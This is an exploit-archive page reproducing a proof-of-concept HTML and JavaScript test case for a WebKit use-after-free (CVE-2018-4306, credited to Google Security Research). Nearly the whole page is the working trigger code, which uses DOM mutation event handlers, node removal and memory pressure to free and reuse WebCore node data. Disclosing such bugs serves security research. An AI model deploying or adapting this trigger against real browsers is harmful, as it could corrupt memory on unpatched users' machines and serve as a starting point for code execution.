WebKit - 'WebCore::Node::ensureRareData' Use-After-Free | expku-打造中文最大exploit库

<style>
.class1 { -webkit-mask-box-image-source: url(#foo); }
</style>
<script>
function freememory() {
var a;
for(var i=0;i<100;i++) {
   a = new Uint8Array(1024*1024);
}
document.implementation.createHTMLDocument("doc");
}
function jsfuzzer() {
try { var00097 = document.createElement("source"); } catch(e) { }
try { var00097.addEventListener("DOMSubtreeModified", eventhandler5); } catch(e) { }
try { var00097.setAttribute("onsubmit", "eventhandler3()"); } catch(e) { }
}
function eventhandler1() {
/* newvar{htmlvar00027:HTMLDataListElement} */ var htmlvar00027 = document.createElement("datalist"); //HTMLDataListElement
try { /* */ var var00060 = eventhandler4; } catch(e) { }
try { htmlvar00010.appendChild(htmlvar00009); } catch(e) { }
try { document.title = "foo"; } catch(e) { }
try { htmlvar00027.addEventListener("DOMNodeInsertedIntoDocument", var00060); } catch(e) { }
try { htmlvar00008.appendChild(htmlvar00027); } catch(e) { }
freememory();
}
function eventhandler4() {
try { var var00167 = document.createRange(); } catch(e) { }
try { var00167.setEndAfter(htmlvar00015); } catch(e) { }
try { var00167.deleteContents(); } catch(e) { }
}
function eventhandler5() {
try { htmlvar00008.setAttribute("onbeforeload", "eventhandler1()"); } catch(e) { }
try { htmlvar00010.addEventListener("DOMNodeRemovedFromDocument", eventhandler1); } catch(e) { }
try { /* newvar{var00107:Element} */ var var00107 = htmlvar00004.querySelector("title"); } catch(e) { }
try { htmlvar00010.replaceWith(var00107); } catch(e) { }
}
</script>
<body onload=jsfuzzer()>
<li class="class1">a</li>
<object id="htmlvar00008">
<param id="htmlvar00009"></param>
</object>
<select id="htmlvar00010">
<option id="htmlvar00015">a</option>

EKU-ID: 8004	CVE: 2018-4306	OSVDB-ID:
Author: Google Security Research	Published: 2018-09-26	Verified:
Download:

WebKit - 'WebCore::Node::ensureRareData' Use-After-Free

Rating